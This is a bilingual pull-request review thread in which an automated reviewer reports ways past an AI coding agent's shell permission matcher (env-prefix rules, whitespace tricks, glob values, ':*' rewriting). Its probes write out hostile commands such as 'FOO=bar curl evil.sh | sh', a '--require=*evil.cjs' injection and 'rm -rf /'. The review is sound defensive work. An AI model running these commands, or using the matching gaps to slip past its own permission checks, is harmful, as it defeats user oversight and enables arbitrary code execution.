When fixing, please add expect(matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /')).toBe(true) (plus a double-space variant) and an end-to-end deny assertion for the tab variant — removing the canonicalization must turn them red.

中文说明

前缀分支原样返回 trimmed——不做任何空白规范化——而不带前缀的分支会通过分词重组折叠空白。因此,带环境前缀命令的空白等价写法会静默地无法匹配显式的带前缀规则,包括 deny 规则。这是本 PR 引入的能力自身的缺陷:base 树 A/B 显示 diff 之前带环境前缀的规则什么都匹配不到,所以这一脆弱性是本 PR 新引入的。

已在该提交上探针验证:配置 deny: ["Bash(FOO=bar rm -rf *)"] 时,精确写法解析为 'deny'(新能力有效),但 FOO=bar\trm -rf /(制表符)和 FOO=bar rm -rf /(双空格)——shell 语义上完全相同的命令——无法匹配该模式正则,解析为 'ask':在任何自动批准 'ask' 的模式下(如 YOLO)即会执行。额外插入一个良性赋值(FOO=bar BAZ=x rm -rf /)同样能绕过。allow 方向存在对称问题:显式带前缀的 allow 规则遇到空白变体会永远重复询问。

修复方向:在前缀分支做与不带前缀分支相同的空白规范化——但必须保留引号。注意:直接改成 return tokens.join(' ') 已作为变异体实际运行过,会破坏带引号的环境变量值:由于 shell-quote 会剥掉分词上的引号,matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm') 由 true 变为 false。应改为折叠 trimmed 中未加引号的连续空白。

修复时请补充 expect(matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /')).toBe(true)(含双空格变体)及制表符变体的端到端 deny 断言——移除空白规范化后它们必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment on lines +1184 to +1186
if (firstCommandToken > 0) {
return trimmed;
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R1-10: A single unquoted * or ? in an env-assignment value silently disables the new prefix-preservation branch. shell-quote emits {op:'glob', pattern:<word>} for words containing unquoted */?, and the token loop above pushes token.op — the literal string 'glob' — so ENV_ASSIGNMENT_REGEX never sees the assignment, firstCommandToken stays 0, and this branch never runs; the command normalizes to the mangled 'glob …' join. Explicit env-prefixed rules never match — even character-for-character identical ones. This is in scope as a defect in the capability this PR introduces and documents ("the rule must explicitly include it"): pre-diff, prefixed rules matched nothing, so the mangling defeated nothing.

Probe-verified at this commit: matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') is false while the no-glob control is true; a rule identical to the command (glob in value) also fails, as does a ? variant. End-to-end: deny: ["Bash(NODE_OPTIONS=* npm *)"] vs NODE_OPTIONS=--require=*evil.cjs npm run build resolves to 'ask' instead of 'deny' — execution wherever 'ask' auto-approves (YOLO). The allow direction is equally dead: there is no user-writable prefixed rule that matches a glob-valued env command (the only matching pattern is the undocumented internal form 'glob npm *').

Witness:

matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') = false
  control without glob char = true
identical rule/command pair with glob value = false
matchesCommandPattern('glob npm *', …) = true   (command normalizes to 'glob …')
e2e deny = "ask" (expected "deny"); no-glob control = "deny"
fix arm (push token.pattern for glob tokens): all probes flip; existing 421 tests still pass

Fix direction: record the glob word, not the op name — in the token loop, push token.pattern for {op:'glob'} tokens with a string pattern, so the assignment regex sees NODE_OPTIONS=--require=*evil.cjs and the prefix branch returns trimmed. Note this also changes the no-prefix join (ls *.ts currently normalizes to 'ls glob') — the existing suites were re-run under this fix (421/421 pass).

When fixing, please add expect(matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version')).toBe(true) plus the identical-rule/identical-command glob-value pair — reverting to tokens.push(token.op) must turn both red.

中文说明

环境赋值值中只要出现一个未加引号的 *?,新的前缀保留分支就会被静默禁用。shell-quote 对含未加引号 */? 的词返回 {op:'glob', pattern:<word>},而上方的分词循环 push 的是 token.op——字面字符串 'glob'——于是 ENV_ASSIGNMENT_REGEX 永远看不到该赋值,firstCommandToken 保持为 0,本分支永远不会执行;命令被规范化为被破坏的 'glob …' 拼接。显式的带环境前缀规则永远无法匹配——即使规则与命令逐字符相同。这属于本 PR 引入并明文承诺的能力("规则必须显式包含该前缀")自身的缺陷:diff 之前带前缀规则什么都匹配不到,因此该分词破坏此前不会造成任何损失。

已在该提交上探针验证:matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version')false,而不含 glob 字符的对照为 true;规则与命令完全相同(值含 glob)的配对同样失败,? 变体亦然。端到端:deny: ["Bash(NODE_OPTIONS=* npm *)"]NODE_OPTIONS=--require=*evil.cjs npm run build 解析为 'ask' 而非 'deny'——在任何自动批准 'ask' 的模式下(YOLO)即会执行。allow 方向同样失效:不存在用户可写的带前缀规则能匹配值含 glob 的环境命令(唯一能匹配的模式是未文档化的内部形态 'glob npm *')。

修复方向:记录 glob 词本身而不是操作符名——在分词循环中,对带字符串 pattern 的 {op:'glob'} 分词 push token.pattern,使赋值正则能看到 NODE_OPTIONS=--require=*evil.cjs,前缀分支返回 trimmed。注意这也会改变不带前缀时的拼接(ls *.ts 目前被规范化为 'ls glob')——已在此修复下重跑现有套件(421/421 通过)。

修复时请补充 expect(matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version')).toBe(true) 及规则/命令逐字符相同的 glob 值配对——改回 tokens.push(token.op) 后两者必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

// This function matches a single pattern against a single simple command.
// Compound command splitting is handled by the caller (PermissionManager).
const normalizedCommand = stripLeadingVariableAssignments(command);
const normalizedCommand = normalizeCommandForPermissionMatch(command);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R1-2: The matching identity changed here, but the rule-generation side was not updated with it: extractCommandRules (shellAstParser.ts, via getCommandName skipping leading variable_assignment nodes) still strips env prefixes, and shell.ts's confirmation flow persists exactly what it returns. An "Always allow" grant for an env-prefixed command is therefore dead on arrival under this PR's own matching.

Probe-verified at this commit: extractCommandRules('FOO=bar npm install') returns ["npm install"] (pinned by the existing 'handles env var prefix' test in shellAstParser.test.ts); matchesCommandPattern('npm install', 'FOO=bar npm install') is false — this PR's own new end-to-end test pins exactly this mismatch; a PermissionManager holding the granted Bash(npm install) evaluates FOO=bar npm install to 'ask' (pre-change matcher: 'allow'). The user is re-prompted forever for the command they were told would never ask again — and this breaks the escape hatch the PR body itself advertises ("users who want to allow the prefixed form can write that prefixed form explicitly"): the interactive grant path cannot produce the prefixed form, only hand-editing settings can. The direction is fail-closed (extra prompts, never extra permission), but a previously working grant flow silently stops working.

Witness:

extractCommandRules('FOO=bar npm install') = ["npm install"]
matchesCommandPattern('npm install', 'FOO=bar npm install') = false
PM with granted Bash(npm install): evaluate('FOO=bar npm install') = "ask"
pre-change matcher with the same grant: "allow"

Fix direction: align the generator with the new identity — make extractCommandRules retain leading env assignments in the emitted rule (e.g. FOO=bar npm install) so persisted grants round-trip through the matcher; update the now-stale 'handles env var prefix' expectation in shellAstParser.test.ts in the same change.

When fixing, please add a round-trip test — the rule produced by extractCommandRules('FOO=bar npm install') must match FOO=bar npm install via pm.evaluate'allow' — removing the generator fix must turn it red.

中文说明

匹配身份在本处发生了变化,但规则生成侧没有同步更新:extractCommandRules(shellAstParser.ts,其 getCommandName 会跳过前置的 variable_assignment 节点)仍然剥离环境前缀,而 shell.ts 的确认流程持久化的正是它的返回值。因此,在本 PR 自己的匹配规则下,对带环境前缀命令的"始终允许"授权在落地那一刻就是死的。

已在该提交上探针验证:extractCommandRules('FOO=bar npm install') 返回 ["npm install"](由 shellAstParser.test.ts 中现有的 'handles env var prefix' 测试固化);matchesCommandPattern('npm install', 'FOO=bar npm install')false——本 PR 新增的端到端测试恰好固化了这一失配;持有已授权 Bash(npm install)PermissionManagerFOO=bar npm install 求值为 'ask'(修改前的匹配器为 'allow')。用户被告知"不再询问"的命令会永远重复询问——这同时破坏了 PR 正文自己宣传的出路("想允许带前缀形式的用户可以显式写出该前缀"):交互式授权路径产不出带前缀的形式,只有手改配置可以。方向上是保守失败(只会多问,不会多放行),但一条原本可用的授权流程被静默地变成永久失效。

修复方向:让生成器与新身份对齐——使 extractCommandRules 在生成的规则中保留前置环境赋值(如 FOO=bar npm install),使持久化的授权能在匹配器中闭环;同一修改中更新 shellAstParser.test.ts 里已过期的 'handles env var prefix' 期望。

修复时请补充闭环测试:extractCommandRules('FOO=bar npm install') 产出的规则必须能通过 pm.evaluate 匹配 FOO=bar npm install 并得到 'allow'——移除生成器修复后该测试必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment on lines +36 to +41
expect(
matchesCommandPattern(
'python3 *',
'PYTHONPATH=/tmp/lib python3 -c "print(1)"',
),
).toBe(false);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R1-4: This assertion — matchesCommandPattern('python3 *', 'PYTHONPATH=/tmp/lib python3 -c "print(1)"') === false — is duplicated verbatim in the test this PR renames in permission-manager.test.ts (~lines 345-352). When env-prefix semantics change again — exactly what this PR just did, flipping that expectation from true to false — both files must be edited in lockstep; this PR already had to touch both for one behavior change. A future change applied to only one copy leaves the other silently asserting stale semantics, and the duplicate adds no coverage (same function, same inputs).

Fix: keep the case in one place only — e.g. drop these six lines here since permission-manager.test.ts's matchesCommandPattern suite already pins the glob case (or conversely let this dedicated file own all env-prefix cases).

中文说明

该断言——matchesCommandPattern('python3 *', 'PYTHONPATH=/tmp/lib python3 -c "print(1)"') === false——与本 PR 在 permission-manager.test.ts(~345-352 行)中重命名的测试逐字重复。当环境前缀语义再次变化时——本 PR 刚刚做的正是这件事,把该期望从 true 翻转为 false——两个文件必须同步修改;本 PR 已经为一次行为变更同时改动了两个文件。未来只改其中一份会让另一份静默地断言过期语义,且这份重复不带来任何覆盖(同一函数、同一输入)。

修复:只在一处保留该用例——例如删掉这里的六行,由 permission-manager.test.ts 的 matchesCommandPattern 套件继续固化 glob 用例(或反过来,让本专属文件拥有全部环境前缀用例)。

— qwen3.8-max via Qwen Code /review (v0.22.2)

).toBe(false);
});

it('allows an env-prefixed command when the rule explicitly includes it', () => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R1-5: All env-prefixed inputs in this suite are unquoted and single-spaced, so they do not pin the function's return trimmed choice: the one-line mutation return trimmed;return tokens.join(' '); in normalizeCommandForPermissionMatch survives every test this PR adds — this was run as a mutant: all 9 new tests plus all 22 matchesCommandPattern tests in permission-manager.test.ts pass under it.

The discriminator is a quoted env value: shell-quote's parse() strips quotes, so the mutant rejoins FOO="a b" npm to FOO=a b npm, and matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm') flips true→false (probe-verified). A regression from "preserve the original command string" to "rejoin parsed tokens" would silently break exactly the explicitly-prefixed allow rules this PR tells users to write, escalating them to 'ask'.

Fix: add a quoted env-value case in this test, e.g. expect(matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm')).toBe(true); — it goes red under the mutation while all current tests stay green.

中文说明

本套件中所有带环境前缀的输入都未加引号且只有单空格,因此无法固化函数对 return trimmed 的选择:normalizeCommandForPermissionMatch 中的单行变异 return trimmed;return tokens.join(' '); 能在本 PR 新增的全部测试下存活——已实际运行该变异体:9 个新测试加 permission-manager.test.ts 中全部 22 个 matchesCommandPattern 测试在其下均通过。

判别输入是带引号的环境变量值:shell-quote 的 parse() 会剥掉引号,变异体会把 FOO="a b" npm 重组为 FOO=a b npm,于是 matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm') 由 true 变为 false(已探针验证)。从"保留原始命令字符串"回退为"重组解析后的分词"会静默破坏本 PR 让用户去写的那种显式带前缀 allow 规则,把它们升级为 'ask'

修复:在本测试中补充一个带引号环境变量值的用例,例如 expect(matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm')).toBe(true);——该变异体下它会变红,而现有测试全部保持绿色。

— qwen3.8-max via Qwen Code /review (v0.22.2)

@SLP-DEV1

Copy link
Copy Markdown
Author

@qwen-code /review

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

Not reviewed: build-and-test (test phase) — the full build-test scoped suites never started (runner's forced-clean build phase exhausted the per-call budget across 4 calls; infrastructure, not a diff defect); focused suites ran green separately at HEAD (env-prefix 15/15, permission-manager 414, dangerousRules 110, shellAstParser 547/548 with one pre-existing bounded-time timing flake reproduced on the base commit), and the test-efficacy probe was inconclusive on baseline-environment grounds.

Convergence: round 3 posted 7 inline comment(s), 7 of them reported for the first time; the previous round posted 10 (5 new). Findings keep coming back to the same files: packages/core/src/permissions/rule-parser.ts (findings in rounds 1, 2; 3 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push, or dropping this PR's reviews to --severity-floor critical, keeps the loop from re-deriving the same set. (Observation only — nothing was withheld from this review because of this observation.)

中文说明

仅完成部分审查,审查缺口已披露。

未审查:build-and-test (test phase) — the full build-test scoped suites never started (runner's forced-clean build phase exhausted the per-call budget across 4 calls; infrastructure, not a diff defect); focused suites ran green separately at HEAD (env-prefix 15/15, permission-manager 414, dangerousRules 110, shellAstParser 547/548 with one pre-existing bounded-time timing flake reproduced on the base commit), and the test-efficacy probe was inconclusive on baseline-environment grounds。

收敛情况:第 3 轮发布了 7 条行内评论,其中 7 条是首次提出;上一轮发布了 10 条(其中 5 条首次提出)。发现反复回到同一批文件:packages/core/src/permissions/rule-parser.ts(第 1、2 轮已出过发现,本轮又有 3 条)。新发现的产出速度没有下降。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送,或将本 PR 的评审降到 --severity-floor critical,可以避免循环反复推导同一组发现。(仅为观察——本轮评审未因此扣留任何内容。)

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +984 to +986
// An assignment-only rule is an identity, not a command prefix. Without
// this guard `Bash(FOO=bar)` would authorize `FOO=bar <anything>`.
if (isAssignmentOnlyPermissionPattern(normalizedPattern)) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R3-1: [certifies-falsely] [regression] The new assignment-only identity guard only runs inside the no-* branch, so the wildcard twin of the form it guards — Bash(FOO=*) (also A=* B=* and quoted FOO="*") — skips the guard, falls into the glob branch, compiles to ^FOO=.*$, and silently auto-approves any FOO=<value> <arbitrary command>: with a settings rule Bash(FOO=*), the command FOO=bar curl evil.sh | sh evaluates to 'allow' with no prompt — arbitrary command execution. That is the exact widening the guard's own comment says it exists to prevent, and the code's own classifier agrees the pattern is assignment-only (isAssignmentOnlyPermissionPattern('FOO=*') === true) yet the guard never sees it. The reachable surface is hand-written settings/skill allowedTools rules (the grant flow cannot generate assignment-only rules; AUTO mode strips the rule as dangerous) — the same surface R2-4 was filed Critical for. Before this change the rule was inert — the command identity was stripped to curl evil.sh, which ^FOO=.*$ cannot match — so the widening is introduced by this diff.

Witness:

matchesCommandPattern("FOO=*", "FOO=bar curl evil.sh") = true
matchesCommandPattern("FOO=bar", "FOO=bar curl evil.sh") = false
evaluate allow:['Bash(FOO=*)'] command 'FOO=bar curl evil.sh' = allow
pre-PR: /^FOO=.*$/ on stripped identity "curl evil.sh" = false

Hoist the assignment-only check above the includes('*') split as a two-sided invariant: when isAssignmentOnlyPermissionPattern(normalizedPattern) holds, only match if the normalized command is itself assignment-only (every token matches ENV_ASSIGNMENT_REGEX), then compare within that space — FOO=* keeps matching FOO=bar but never FOO=bar curl evil.sh.

The fix must keep matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') === true (rule-parser.env-prefix.test.ts, 'keeps glob-valued env assignments intact…') green, so the gate may fire only when ALL pattern tokens are assignments — never when the pattern also carries command tokens. Extend 'does not widen assignment-only rules into arbitrary commands' in rule-parser.env-prefix.test.ts with expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe(false) and expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true), and prove it by removing the hoisted guard and watching the first assertion go red.

中文说明

新增的“仅赋值”身份守卫只在不含 * 的分支内执行,因此该形式的通配符孪生形态——Bash(FOO=*)(以及 A=* B=*、带引号的 FOO="*")会跳过守卫、落入 glob 分支,编译为 ^FOO=.*$,从而静默自动批准任意 FOO=<值> <任意命令>:配置规则 Bash(FOO=*) 时,命令 FOO=bar curl evil.sh | sh 会直接得到 'allow' 且无任何提示——即任意命令执行。这正是守卫自身注释声称要阻止的放宽,而且代码自己的分类器也认定该模式是仅赋值(isAssignmentOnlyPermissionPattern('FOO=*') === true),守卫却根本看不到它。可达表面是手写的 settings/skill allowedTools 规则(授权流程产不出仅赋值规则;AUTO 模式会把该规则按危险剥离)——与 R2-4 作为 Critical 提交时相同的表面。本次修改之前该规则是惰性的——命令身份被剥离为 curl evil.sh^FOO=.*$ 无法匹配——因此这一放宽由本 diff 引入。

修复建议:把仅赋值检查提升到 includes('*') 分叉之上,做成双向不变量:当 isAssignmentOnlyPermissionPattern(normalizedPattern) 成立时,仅当规范化后的命令也全部是赋值(每个分词都匹配 ENV_ASSIGNMENT_REGEX)时才允许匹配,然后在该空间内比较——FOO=* 仍匹配 FOO=bar,但永不匹配 FOO=bar curl evil.sh

修复约束:matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') === true(rule-parser.env-prefix.test.ts 的 'keeps glob-valued env assignments intact…')必须保持为真,因此该门只能在模式分词全部为赋值时触发,模式同时含有命令词时绝不能触发。修复验收标准:在 rule-parser.env-prefix.test.ts 的 'does not widen assignment-only rules into arbitrary commands' 中补充 expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe(false)expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true),并在移除提升后的守卫后确认第一条断言变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +1217 to +1220
if (/\s/.test(ch)) {
if (result) pendingSpace = true;
continue;
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R1-8: (fix-induced) [certifies-falsely] Last round's fix for R1-8/R2-3 closed the reported input — whitespace is now canonicalized on both sides — but the new collapseUnquotedWhitespace chooses JavaScript's \s class as its word boundary while bash's default IFS is only space/tab/newline. So \v, \f, \r and NBSP split words for the permission model while staying inside ONE assignment word for bash, and the model can authorize a different program than bash executes: a user who Always-Allows FOO=bar x hi gets the rule Bash(FOO=bar x *) (this PR's new prefixed grant generation), and the command FOO=bar\x0bx curl evil.sh (VT char, valid in a JSON tool argument) executes curl evil.sh in bash — FOO=bar\x0bx is one assignment word — while the model collapses it to the identity FOO=bar x curl evil.sh, matches the rule, and auto-allows. Restrictive rules miss too: deny Bash(curl *) matches neither the full identity nor the stripped x curl evil.sh while bash executes curl. shell-quote's wide word splitting predates this PR, but this diff builds its identity model on it (collapseUnquotedWhitespace is new code choosing the \s boundary), and the env-prefixed rule shapes that carry the attack are newly live and matched because of this diff.

Witness:

bash 5.2 IFS: space/tab/newline only; FOO=bar\vx echo WORD_KEPT_TOGETHER keeps one assignment word (same for \f, \r, NBSP)
matcher: shell-quote tokens ["FOO=bar","x","curl","evil.sh"]; matchesCommandPattern("FOO=bar x *", attack) = true
evaluate allow:['Bash(FOO=bar x *)'] = allow; allow:['Bash(*)'] deny:['Bash(curl *)'] + attack = allow (control 'curl evil.sh' = deny)
extractCommandRules('FOO=bar x hi') = ["FOO=bar x *"]

Constrain the model's word boundary to bash IFS: collapse only space and tab (newlines are already split by splitCompoundCommandSegments), and treat unquoted occurrences of the remaining \s characters (\v, \f, \r, NBSP) as unparseable for identity purposes so such commands resolve to ask instead of matching.

The fix must keep the tab canonicalization this same PR adds green — rule-parser.env-prefix.test.ts asserts matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /') === true and the mirrored rule-side-tab pair, so tab/space/newline must stay collapsible. Add to rule-parser.env-prefix.test.ts expect(matchesCommandPattern('FOO=bar x *', 'FOO=bar\u000bx curl evil.sh')).toBe(false) plus \f/\r variants and an end-to-end pm.evaluate not resolving to 'allow'; reverting the boundary to /\s/ must turn them red.

中文说明

上一轮对 R1-8/R2-3 的修复闭合了其报告的输入——现在两侧都会做空白规范化——但新引入的 collapseUnquotedWhitespace 选择了 JavaScript 的 \s 类作为词边界,而 bash 的默认 IFS 只有空格/制表符/换行。因此 \v\f\r、NBSP 在权限模型中会分词,在 bash 中却仍属于同一个赋值词,模型可能授权一个与 bash 实际执行不同的程序:用户“始终允许” FOO=bar x hi 会得到规则 Bash(FOO=bar x *)(本 PR 新的带前缀授权生成),而命令 FOO=bar\x0bx curl evil.sh(VT 字符,在 JSON 工具参数中合法)在 bash 中执行的是 curl evil.sh——FOO=bar\x0bx 是一个赋值词——模型却把它折叠为身份 FOO=bar x curl evil.sh,命中规则,自动放行。限制性规则同样失配:deny Bash(curl *) 对完整身份和剥离后的 x curl evil.sh 都不匹配,而 bash 正在执行 curl。shell-quote 的宽分词早于本 PR,但本 diff 把身份模型建立在其上(collapseUnquotedWhitespace 是选择 \s 边界的新代码),且承载该攻击的带环境前缀规则形态正是因为本 diff 才变得可用、可匹配。

修复建议:把模型的词边界限制为 bash IFS:只折叠空格和制表符(换行已由 splitCompoundCommandSegments 切分),并把其余 \s 字符(\v\f\r、NBSP)的未加引号出现视为身份上不可解析,使此类命令落到 ask 而不是匹配成功。

修复约束:本 PR 新增的制表符规范化必须保持为真——rule-parser.env-prefix.test.ts 断言 matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /') === true 及其镜像的规则侧制表符配对,因此空格/制表符/换行必须仍可折叠。修复验收标准:在 rule-parser.env-prefix.test.ts 中补充 expect(matchesCommandPattern('FOO=bar x *', 'FOO=bar\u000bx curl evil.sh')).toBe(false)\f/\r 变体,并加上端到端 pm.evaluate 不得解析为 'allow';把边界还原为 /\s/ 后这些测试必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +1257 to +1259
if (firstCommandToken > 0) {
return collapseUnquotedWhitespace(trimmed);
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R3-2: [certifies-falsely] [new-surface] With the env-prefixed identity matched as one string, a * contiguous with NAME= compiles to a .* that crosses unquoted whitespace, so VAR=* cmd * allow rules match commands that execute a DIFFERENT program with cmd demoted to a trailing argument: the rule Bash(NODE_OPTIONS=* npm *) (the shape for "npm with any NODE_OPTIONS") matches NODE_OPTIONS=x sh -c 'curl evil.sh|sh' npm and evaluates to 'allow' while bash executes sh -c … with npm as $0 — the rule approves a program it never names. Shell values cannot contain unquoted whitespace, so a value wildcard crossing spaces over-matches by construction. Pre-PR this rule shape matched nothing env-prefixed (the stripped identity sh -c … npm fails ^NODE_OPTIONS=), so the widening is introduced by this diff.

Witness:

matchesCommandPattern("NODE_OPTIONS=* npm *", "NODE_OPTIONS=x sh -c 'curl evil.sh|sh' npm") = true
evaluate allow:['Bash(NODE_OPTIONS=* npm *)'] = allow
bash 5.2: sh -c 'echo PWNED_PAYLOAD_RAN' npm → PWNED_PAYLOAD_RAN, $0=npm
pre-PR reconstruction of the same pair = false

When a * is contiguous with an assignment token, compile it as a value wildcard that cannot cross whitespace (e.g. [^ ]* instead of .*), keeping .* for all other positions; this also closes the FOO=* case in R3-1.

Two facts must stay green: (1) matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') === true in rule-parser.env-prefix.test.ts (the value has no spaces, so [^ ]* still matches); (2) the documented non-assignment word-boundary semantics — matchesCommandPattern('ls*', 'ls -la') === true in permission-manager.test.ts (~line 417) — so the whitespace ban must be scoped to stars attached to assignment tokens only. Add expect(matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=x sh -c evil npm')).toBe(false) to rule-parser.env-prefix.test.ts; letting the value wildcard span whitespace again must turn it red.

中文说明

由于带环境前缀的身份现在按整串匹配,与 NAME= 紧邻的 * 会编译为跨越未加引号空白的 .*,因此 VAR=* cmd * 形式的 allow 规则会匹配到实际执行另一个程序、只把 cmd 降为尾参数的命令:规则 Bash(NODE_OPTIONS=* npm *)(“任意 NODE_OPTIONS 的 npm”的写法)会匹配 NODE_OPTIONS=x sh -c 'curl evil.sh|sh' npm 并给出 'allow',而 bash 实际执行的是 sh -c …npm 只是 $0——规则批准了一个它从未指名的程序。shell 的值不可能包含未加引号的空白,因此值通配符跨空格必然是过度匹配。本次修改之前该规则形态对任何带前缀命令都不匹配(剥离后的身份 sh -c … npm 无法命中 ^NODE_OPTIONS=),因此这一放宽由本 diff 引入。

修复建议:当 * 与赋值分词紧邻时,把它编译为不跨空白的值通配符(例如 [^ ]* 而非 .*),其余位置保持 .*;这同时闭合 R3-1 的 FOO=* 情形。

修复约束:两个事实必须保持为真:(1) rule-parser.env-prefix.test.ts 中 matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') === true(该值不含空格,[^ ]* 仍可匹配);(2) 已文档化的非赋值词边界语义——permission-manager.test.ts 约第 417 行 matchesCommandPattern('ls*', 'ls -la') === true——因此禁止跨空格必须只作用于与赋值分词紧邻的星号。修复验收标准:在 rule-parser.env-prefix.test.ts 补充 expect(matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=x sh -c evil npm')).toBe(false);让值通配符重新跨空格后该测试必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

.map((child) => child.text)
.join(' ')
: '';
const qualifiedRoot = envPrefix ? `${envPrefix} ${rootName}` : rootName;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R1-2: (fix-induced) [certifies-falsely] [new-surface] The R1-2 fix landed this round (env-prefix-preserving rule generation) closes the dead-grant input, but it makes generated and hand-written specifiers carry assignment values, and parseRule's legacy :* * rewrite (rawSpecifier.replace(/:(\*)/g, ' $1')) fires INSIDE those values: Always-Allow on FOO=a:* npm install persists Bash(FOO=a:* npm install), which re-parses to the specifier FOO=a * npm install and never matches the original command again — the grant silently never sticks and the user is re-prompted forever. The fail-open variant: a hand-written deny: ["Bash(FOO=a:* rm *)"] parses to FOO=a * rm *, does not match FOO=a:* rm -rf /, and with a broad allow the command evaluates to 'allow' — a restrictive rule silently disabled. Pre-PR, generation stripped the prefix, so this corruption was unreachable; the prefix-preserving generation opened it.

Witness:

extractCommandRules('FOO=a:* npm install') = ["FOO=a:* npm install"]
parseRule("Bash(FOO=a:* npm install)").specifier = "FOO=a * npm install"
matchesCommandPattern(parsed specifier, original command) = false (control: unparsed = true)
deny variant: evaluate allow:['Bash(*)'] deny:["Bash(FOO=a:* rm *)"] command 'FOO=a:* rm -rf /' = allow

Scope the legacy rewrite so it cannot fire inside an assignment token — e.g. apply it only when the whole specifier matches the legacy shape (/^\S+:\*$/), or skip the replacement when the text before the colon contains = with no intervening whitespace.

Bash(git:*) must still parse to specifier git * — pinned by permission-manager.test.ts 'handles legacy :* suffix (deprecated)' (~lines 270-273). Round-trip extractCommandRules('FOO=a:* npm install') through parseRule in rule-parser.env-prefix.test.ts and assert the specifier is unchanged (and/or that pm.evaluate returns 'allow' for the original command); removing the scoping condition must turn it red.

中文说明

本轮落地的 R1-2 修复(生成规则时保留环境前缀)闭合了“授权失效”的输入,但它使生成和手写的规则文本携带赋值值,而 parseRule 的遗留 :* * 重写(rawSpecifier.replace(/:(\*)/g, ' $1'))会在这些值的内部触发:对 FOO=a:* npm install 执行“始终允许”会持久化 Bash(FOO=a:* npm install),重新解析后变成 FOO=a * npm install,再也无法匹配原命令——授权静默失效,用户会被永远重复询问。开放失败的变体:手写 deny: ["Bash(FOO=a:* rm *)"] 解析为 FOO=a * rm *,不匹配 FOO=a:* rm -rf /,在宽 allow 下该命令评估为 'allow'——一条限制性规则被静默禁用。本次修改之前生成时会剥离前缀,该损坏不可达;保留前缀的生成使其变得可达。

修复建议:限定遗留重写的作用范围,使其不能在赋值分词内部触发——例如仅当整个规则文本匹配遗留形态(/^\S+:\*$/)时才应用,或当冒号前的文本包含 = 且中间没有空白时跳过替换。

修复约束:Bash(git:*) 必须仍解析为 git *——由 permission-manager.test.ts 的 'handles legacy :* suffix (deprecated)'(约 270-273 行)固定。修复验收标准:在 rule-parser.env-prefix.test.ts 中把 extractCommandRules('FOO=a:* npm install')parseRule 往返并断言规则文本不变(以及/或 pm.evaluate 对原命令返回 'allow');移除作用范围限定后该测试必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +434 to +439
if (
matchesRule(rule, ...matchArgs, 'canonical') ||
(restrictiveCommand !== command &&
matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))
)
return 'deny';

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

